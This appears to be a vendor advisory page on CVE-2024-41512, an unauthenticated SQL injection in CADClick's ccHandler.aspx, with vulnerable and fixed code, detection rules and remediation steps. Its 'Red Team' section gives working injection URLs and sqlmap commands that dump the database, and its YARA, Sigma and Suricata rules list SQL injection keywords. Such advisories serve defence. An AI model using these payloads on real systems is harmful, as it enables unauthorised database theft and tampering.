CVE-2024-41512
Executive Summary
CVE-2024-41512 is a critical SQL Injection vulnerability discovered in CADClick, a web-based CAD viewing and management application. The flaw resides in the ccHandler.aspx endpoint, specifically within the bomid parameter. An unauthenticated, remote attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential lateral movement within the network. The vendor has not released a patch, and the vulnerability affects all versions up to and including v1.11.0. Given the lack of vendor response and the public availability of proof-of-concept code, this vulnerability poses a significant risk to all exposed CADClick instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary web application. However, organizations using CADClick should treat it as a critical supply chain risk due to the vendor's unresponsiveness and lack of patch.
CVSS Breakdown & Threat Level
CVSS v3.1 Score: 9.8 (Critical)
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - Full database read access.
- Integrity (I): High (H) - Full database write/delete access.
- Availability (A): High (H) - Potential for denial of service via database corruption.
Threat Level: Critical. The combination of remote exploitability, no authentication, and full database compromise makes this a top-priority vulnerability for remediation.
Deep Dive & Mechanics
The vulnerability is a classic SQL Injection in the ccHandler.aspx ASPX page. The bomid parameter is passed directly into a SQL query without proper sanitization or parameterization.
Vulnerable Code Snippet (Conceptual):
string bomid = Request.QueryString["bomid"];
string query = "SELECT * FROM BOM_Table WHERE BOM_ID = '" + bomid + "'";
SqlCommand cmd = new SqlCommand(query, connection);
An attacker can break out of the intended SQL string context by injecting a single quote ('). For example, a payload like ' OR '1'='1 would result in the following query:
SELECT * FROM BOM_Table WHERE BOM_ID = '' OR '1'='1'
This would return all rows from the BOM_Table. More sophisticated payloads can be used for UNION-based data extraction, error-based inference, or time-based blind injection.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
string bomid = Request.QueryString["bomid"];
string query = "SELECT * FROM BOM_Table WHERE BOM_ID = '" + bomid + "'";
SqlCommand cmd = new SqlCommand(query, connection);
Patched Code (Conceptual - Parameterized Query):
string bomid = Request.QueryString["bomid"];
string query = "SELECT * FROM BOM_Table WHERE BOM_ID = @bomid";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@bomid", bomid);
The patched version uses a parameterized query, which ensures the bomid value is treated as data, not executable code. This is the standard and only secure way to handle user input in SQL queries.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target CADClick instance (e.g.,
http://target.com/ccHandler.aspx). - A tool like
sqlmapor a web browser with developer tools.
Manual Exploitation (Proof of Concept):
- Navigate to the vulnerable endpoint:
http://target.com/ccHandler.aspx?bomid=1 - Inject a single quote to test for vulnerability:
If an error is returned (e.g., "Unclosed quotation mark"), the endpoint is vulnerable.http://target.com/ccHandler.aspx?bomid=1' - Use a UNION-based injection to extract data. First, determine the number of columns:
Continue until an error occurs. The last successful number is the column count.http://target.com/ccHandler.aspx?bomid=1' ORDER BY 1-- http://target.com/ccHandler.aspx?bomid=1' ORDER BY 2-- http://target.com/ccHandler.aspx?bomid=1' ORDER BY 3-- - Once the column count is known (e.g., 5), use a UNION SELECT to extract data:
http://target.com/ccHandler.aspx?bomid=1' UNION SELECT 1,@@version,3,4,5--
Automated Exploitation with sqlmap:
sqlmap -u "http://target.com/ccHandler.aspx?bomid=1" --batch --dbs
sqlmap -u "http://target.com/ccHandler.aspx?bomid=1" --batch -D <database_name> --tables
sqlmap -u "http://target.com/ccHandler.aspx?bomid=1" --batch -D <database_name> -T <table_name> --dump
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests to
ccHandler.aspxcontaining SQL keywords likeUNION,SELECT,OR,AND,--,',WAITFOR,BENCHMARK. - Look for an abnormal number of requests to
ccHandler.aspxfrom a single IP address. - Use a Web Application Firewall (WAF) to block SQL injection patterns.
Hardening (Immediate Mitigation):
- Input Validation: Implement strict allowlist validation for the
bomidparameter. It should only contain alphanumeric characters and hyphens (if applicable). - Parameterized Queries: Rewrite the
ccHandler.aspxcode to use parameterized SQL queries. - Least Privilege: Ensure the database user account used by the application has the minimum necessary permissions (e.g., read-only for most operations).
- Network Segmentation: If the application cannot be patched immediately, place it behind a WAF and restrict network access to only trusted IPs.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET/POST requests to
/ccHandler.aspxwith abomidparameter containing SQL syntax. - Example malicious request:
GET /ccHandler.aspx?bomid=1'%20UNION%20SELECT%201,@@version,3,4,5-- HTTP/1.1 Host: target.com - Outbound database connections from the web server to unusual IP addresses (data exfiltration).
Host IOCs:
- Unexpected SQL errors in the application logs.
- New or modified files in the web root directory (potential webshell upload).
- Unusual database queries in the database server logs.
File IOCs:
- Suspicious files in the
ccHandler.aspxdirectory (e.g.,cmd.aspx,shell.aspx).
Detection Engineering
YARA Rule
rule CVE_2024_41512_SQLi_ccHandler {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-41512 in CADClick"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-41512"
severity = "critical"
strings:
$s1 = "ccHandler.aspx" nocase
$s2 = "bomid=" nocase
$sqli1 = /bomid=.*['\"]/ nocase
$sqli2 = /bomid=.*UNION/i
$sqli3 = /bomid=.*SELECT/i
$sqli4 = /bomid=.*OR/i
$sqli5 = /bomid=.*AND/i
$sqli6 = /bomid=.*--/i
$sqli7 = /bomid=.*WAITFOR/i
$sqli8 = /bomid=.*BENCHMARK/i
condition:
$s1 and $s2 and 1 of ($sqli*)
}
Sigma Rule
title: CVE-2024-41512 SQL Injection Attempt on CADClick ccHandler.aspx
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the bomid parameter in ccHandler.aspx
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-query|contains: 'ccHandler.aspx?bomid='
keywords:
- "'"
- "UNION"
- "SELECT"
- "OR"
- "AND"
- "--"
- "WAITFOR"
- "BENCHMARK"
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in BOM IDs (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-41512 SQL Injection Attempt on CADClick ccHandler.aspx"; flow:to_server,established; content:"ccHandler.aspx"; http_uri; content:"bomid="; http_uri; pcre:"/(bomid=.*['\"]|bomid=.*UNION|bomid=.*SELECT|bomid=.*OR|bomid=.*AND|bomid=.*--|bomid=.*WAITFOR|bomid=.*BENCHMARK)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate: If possible, take the CADClick application offline or behind a VPN until a fix is applied.
- WAF: Deploy a Web Application Firewall (e.g., ModSecurity, Cloudflare WAF) with rules to block SQL injection patterns.
- Input Validation: Implement server-side input validation for the
bomidparameter. Only allow alphanumeric characters and hyphens. - Code Fix: Rewrite the
ccHandler.aspxcode to use parameterized SQL queries. This is the only permanent fix.
Long-Term Actions:
- Vendor Engagement: Continue to pressure the vendor (CADClick) for an official patch. If unresponsive, consider migrating to an alternative solution.
- Security Audit: Conduct a full security audit of the CADClick application to identify other potential vulnerabilities.
- Network Segmentation: Ensure the web server is in a DMZ and has limited access to internal resources.
- Monitoring: Implement continuous monitoring for SQL injection attempts using the detection rules provided above.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.